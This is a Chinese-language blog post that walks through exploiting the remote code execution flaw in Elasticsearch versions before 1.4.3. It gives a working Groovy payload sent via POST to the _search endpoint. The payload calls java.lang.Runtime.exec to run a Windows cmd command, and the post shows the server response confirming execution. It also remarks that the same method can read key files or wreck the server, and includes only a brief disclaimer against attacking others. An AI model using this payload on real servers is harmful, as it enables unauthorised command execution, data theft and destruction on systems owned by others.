关于elasticsearch1.4.3以下版本安全漏洞的攻击过程复现

     elasticsearch1.4.3以下有几个版本可以执行groovy脚本,这个被利用后可以直接调用widows的cmd命令和linux的shell。网上有一些文章,但是写的不够接地气,这里我复现了这个漏洞的攻击过程,重新写下。

     第一步:安装Firefox的Hackbar插件,安装好好,如图所示:

    关于elasticsearch1.4.3以下版本安全漏洞的攻击过程复现_第1张图片


    第二步:在浏览器地址栏敲:http://localhost:9200/_search?pretty,注意这里可以是你自己全文检索服务器的IP和端口号,然后点击回车;

    第三步:选择Enable Post data这个复选框,然后将以下脚本填入Post data选项:

{
   "size":1,
   "script_fields": {
     "test#": {
       "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cmd /c copy c:\\\\error.txt d:\\\\zhaich.txt \")", "lang":"groovy"
     }
   }
 }

    第四步:单击左侧的“Execute“按钮。

    第五步:查看结果:

{
  "took" : 36,
  "timed_out" : false,
  "_shards" : {
    "total" : 10,
    "successful" : 10,
    "failed" : 0
  },
  "hits" : {
    "total" : 3357,
    "max_score" : 1.0,
    "hits" : [ {
      "_index" : "shopinfo",
      "_type" : "shopinfo",
      "_id" : "0EyqahDXQjSReepWJP2iYw",
      "_score" : 1.0,
      "fields" : {
        "test#" : [ "java.lang.ProcessImpl@7b0a3486" ]
      }
    } ]
  }
}

这代码说明代码执行成功,也就是说如果服务器上运行elasticsearch的用户有多大权限,这个cmd或者shell就能完成多大权限的功能。这里是拷贝记事本,如果是换成读取文件也是可以的,这样就可以获取服务器上的关键文件,也可以摧毁服务器(当然了一般都不会这样搞,岂不是断了自己的”财路“)。

    好了,以上就是基本的攻击攻击过程。希望大家注意,切不要用来攻击别人,可以作安全试验。整个和struts之前的漏洞非常类似。

   参考网址:http://www.2cto.com/Article/201503/381303.html

你可能感兴趣的:(关于elasticsearch1.4.3以下版本安全漏洞的攻击过程复现)